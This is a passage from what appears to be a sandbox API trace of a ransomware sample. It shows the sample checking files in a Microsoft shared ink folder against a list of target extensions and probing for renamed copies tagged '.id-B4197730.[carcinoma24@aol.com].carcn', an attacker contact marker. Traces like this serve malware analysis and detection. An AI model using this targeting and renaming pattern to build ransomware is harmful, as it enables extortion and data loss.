Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0255.404] lstrlenW (lpString=".doc") returned 4 [0255.404] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0255.404] lstrlenW (lpString=".docx") returned 5 [0255.404] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0255.404] lstrlenW (lpString=".pdf") returned 4 [0255.404] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0255.404] lstrlenW (lpString=".xls") returned 4 [0255.404] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0255.404] lstrlenW (lpString=".xlsx") returned 5 [0255.404] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0255.404] lstrlenW (lpString=".ppt") returned 4 [0255.404] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0255.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0255.404] lstrlenW (lpString=".zip") returned 4 [0255.404] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0255.404] lstrlenW (lpString=".rar") returned 4 [0255.404] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0255.405] lstrlenW (lpString=".bz2") returned 4 [0255.405] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0255.405] lstrlenW (lpString=".7z") returned 3 [0255.405] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0255.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0255.405] lstrlenW (lpString=".dbf") returned 4 [0255.405] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0255.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0255.405] lstrlenW (lpString=".1cd") returned 4 [0255.405] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0255.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0255.405] lstrlenW (lpString=".jpg") returned 4 [0255.405] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0255.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0255.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0255.405] lstrlenW (lpString=".doc") returned 4 [0255.405] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0255.405] lstrlenW (lpString=".docx") returned 5 [0255.405] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0255.405] lstrlenW (lpString=".pdf") returned 4 [0255.405] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0255.405] lstrlenW (lpString=".xls") returned 4 [0255.405] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0255.405] lstrlenW (lpString=".xlsx") returned 5 [0255.405] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0255.406] lstrlenW (lpString=".ppt") returned 4 [0255.406] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0255.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0255.406] lstrlenW (lpString=".zip") returned 4 [0255.406] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0255.406] lstrlenW (lpString=".rar") returned 4 [0255.406] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0255.406] lstrlenW (lpString=".bz2") returned 4 [0255.406] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0255.406] lstrlenW (lpString=".7z") returned 3 [0255.406] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0255.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0255.406] lstrlenW (lpString=".dbf") returned 4 [0255.406] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0255.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0255.406] lstrlenW (lpString=".1cd") returned 4 [0255.406] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0255.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0255.406] lstrlenW (lpString=".jpg") returned 4 [0255.406] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0255.406] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0255.406] lstrlenW (lpString="InkDiv.dll") returned 10 [0255.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0255.485] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=361472) returned 1 [0255.485] CloseHandle (hObject=0x41c) returned 1 [0255.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0255.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0255.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0255.537] lstrlenW (lpString=".doc") returned 4 [0255.537] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0255.537] lstrlenW (lpString=".docx") returned 5 [0255.537] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0255.537] lstrlenW (lpString=".pdf") returned 4 [0255.537] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0255.537] lstrlenW (lpString=".xls") returned 4 [0255.537] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0255.537] lstrlenW (lpString=".xlsx") returned 5 [0255.537] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0255.537] lstrlenW (lpString=".ppt") returned 4 [0255.537] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0255.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0255.537] lstrlenW (lpString=".zip") returned 4 [0255.537] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0255.537] lstrlenW (lpString=".rar") returned 4 [0255.537] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0255.537] lstrlenW (lpString=".bz2") returned 4 [0255.537] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0255.537] lstrlenW (lpString=".7z") returned 3 [0255.537] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0255.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0255.537] lstrlenW (lpString=".dbf") returned 4 [0255.537] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0255.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0255.537] lstrlenW (lpString=".1cd") returned 4 [0255.538] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0255.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0255.538] lstrlenW (lpString=".jpg") returned 4 [0255.538] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0255.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0255.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0255.538] lstrlenW (lpString=".doc") returned 4 [0255.538] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0255.538] lstrlenW (lpString=".docx") returned 5 [0255.538] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0255.538] lstrlenW (lpString=".pdf") returned 4 [0255.538] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0255.538] lstrlenW (lpString=".xls") returned 4 [0255.538] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0255.538] lstrlenW (lpString=".xlsx") returned 5 [0255.538] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0255.538] lstrlenW (lpString=".ppt") returned 4 [0255.538] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0255.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0255.538] lstrlenW (lpString=".zip") returned 4 [0255.538] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0255.538] lstrlenW (lpString=".rar") returned 4 [0255.538] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0255.538] lstrlenW (lpString=".bz2") returned 4 [0255.538] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0255.539] lstrlenW (lpString=".7z") returned 3 [0255.539] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0255.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0255.539] lstrlenW (lpString=".dbf") returned 4 [0255.539] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0255.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0255.539] lstrlenW (lpString=".1cd") returned 4 [0255.539] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0255.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0255.539] lstrlenW (lpString=".jpg") returned 4 [0255.539] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0255.539] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0255.539] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0255.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0255.782] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=10752) returned 1 [0255.782] CloseHandle (hObject=0x41c) returned 1 [0255.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0255.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0255.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0255.783] lstrlenW (lpString=".doc") returned 4 [0255.783] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0255.783] lstrlenW (lpString=".docx") returned 5 [0255.783] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0255.783] lstrlenW (lpString=".pdf") returned 4 [0255.783] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0255.783] lstrlenW (lpString=".xls") returned 4 [0255.783] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0255.783] lstrlenW (lpString=".xlsx") returned 5 [0255.783] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0255.783] lstrlenW (lpString=".ppt") returned 4 [0255.783] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0255.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0255.783] lstrlenW (lpString=".zip") returned 4 [0255.783] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0255.783] lstrlenW (lpString=".rar") returned 4 [0255.783] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0255.783] lstrlenW (lpString=".bz2") returned 4 [0255.783] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0255.783] lstrlenW (lpString=".7z") returned 3 [0255.783] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0255.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0255.784] lstrlenW (lpString=".dbf") returned 4 [0255.784] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0255.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0255.784] lstrlenW (lpString=".1cd") returned 4 [0255.784] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0255.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0255.784] lstrlenW (lpString=".jpg") returned 4 [0255.784] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0255.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0255.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0255.784] lstrlenW (lpString=".doc") returned 4 [0255.784] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0255.784] lstrlenW (lpString=".docx") returned 5 [0255.784] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0255.784] lstrlenW (lpString=".pdf") returned 4 [0255.784] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0255.784] lstrlenW (lpString=".xls") returned 4 [0255.784] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0255.784] lstrlenW (lpString=".xlsx") returned 5 [0255.784] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0255.784] lstrlenW (lpString=".ppt") returned 4 [0255.784] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0255.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0255.784] lstrlenW (lpString=".zip") returned 4 [0255.784] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0255.784] lstrlenW (lpString=".rar") returned 4 [0255.784] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0255.784] lstrlenW (lpString=".bz2") returned 4 [0255.784] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0255.784] lstrlenW (lpString=".7z") returned 3 [0255.785] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0255.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0255.785] lstrlenW (lpString=".dbf") returned 4 [0255.785] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0255.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0255.785] lstrlenW (lpString=".1cd") returned 4 [0255.785] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0255.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui") returned 72 [0255.785] lstrlenW (lpString=".jpg") returned 4 [0255.785] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0255.785] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0255.785] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0255.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0255.846] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=10240) returned 1 [0255.846] CloseHandle (hObject=0x41c) returned 1 [0255.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0255.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0255.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0255.848] lstrlenW (lpString=".doc") returned 4 [0255.848] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0255.848] lstrlenW (lpString=".docx") returned 5 [0255.848] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0255.848] lstrlenW (lpString=".pdf") returned 4 [0255.848] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0255.848] lstrlenW (lpString=".xls") returned 4 [0255.848] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0255.848] lstrlenW (lpString=".xlsx") returned 5 [0255.848] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0255.848] lstrlenW (lpString=".ppt") returned 4 [0255.848] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0255.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0255.848] lstrlenW (lpString=".zip") returned 4 [0255.849] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0255.849] lstrlenW (lpString=".rar") returned 4 [0255.849] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0255.849] lstrlenW (lpString=".bz2") returned 4 [0255.849] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0255.849] lstrlenW (lpString=".7z") returned 3 [0255.849] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0255.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0255.849] lstrlenW (lpString=".dbf") returned 4 [0255.849] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0255.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0255.849] lstrlenW (lpString=".1cd") returned 4 [0255.849] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0255.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0255.849] lstrlenW (lpString=".jpg") returned 4 [0255.849] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0255.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0255.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0255.849] lstrlenW (lpString=".doc") returned 4 [0255.849] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0255.849] lstrlenW (lpString=".docx") returned 5 [0255.849] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0255.849] lstrlenW (lpString=".pdf") returned 4 [0255.849] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0255.849] lstrlenW (lpString=".xls") returned 4 [0255.849] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0255.849] lstrlenW (lpString=".xlsx") returned 5 [0255.849] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0255.849] lstrlenW (lpString=".ppt") returned 4 [0255.849] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0255.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0255.850] lstrlenW (lpString=".zip") returned 4 [0255.850] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0255.850] lstrlenW (lpString=".rar") returned 4 [0255.850] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0255.850] lstrlenW (lpString=".bz2") returned 4 [0255.850] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0255.850] lstrlenW (lpString=".7z") returned 3 [0255.850] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0255.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0255.850] lstrlenW (lpString=".dbf") returned 4 [0255.850] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0255.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0255.850] lstrlenW (lpString=".1cd") returned 4 [0255.850] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0255.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0255.850] lstrlenW (lpString=".jpg") returned 4 [0255.850] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0255.850] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0255.850] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0255.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0255.854] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=10240) returned 1 [0255.854] CloseHandle (hObject=0x41c) returned 1 [0255.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20 [0255.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0255.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0255.855] lstrlenW (lpString=".doc") returned 4 [0255.855] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0255.855] lstrlenW (lpString=".docx") returned 5 [0255.855] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0255.855] lstrlenW (lpString=".pdf") returned 4 [0255.855] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0255.855] lstrlenW (lpString=".xls") returned 4 [0255.855] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0255.855] lstrlenW (lpString=".xlsx") returned 5 [0255.855] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0255.855] lstrlenW (lpString=".ppt") returned 4 [0255.855] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0255.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0255.855] lstrlenW (lpString=".zip") returned 4 [0255.855] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0255.855] lstrlenW (lpString=".rar") returned 4 [0255.855] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0255.855] lstrlenW (lpString=".bz2") returned 4 [0255.855] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0255.855] lstrlenW (lpString=".7z") returned 3 [0255.855] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0255.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0255.855] lstrlenW (lpString=".dbf") returned 4 [0255.855] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0255.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0255.855] lstrlenW (lpString=".1cd") returned 4 [0255.856] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0255.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0255.856] lstrlenW (lpString=".jpg") returned 4 [0255.856] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0255.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0255.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0255.856] lstrlenW (lpString=".doc") returned 4 [0255.856] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0255.856] lstrlenW (lpString=".docx") returned 5 [0255.856] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0255.856] lstrlenW (lpString=".pdf") returned 4 [0255.856] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0255.856] lstrlenW (lpString=".xls") returned 4 [0255.856] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0255.856] lstrlenW (lpString=".xlsx") returned 5 [0255.856] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 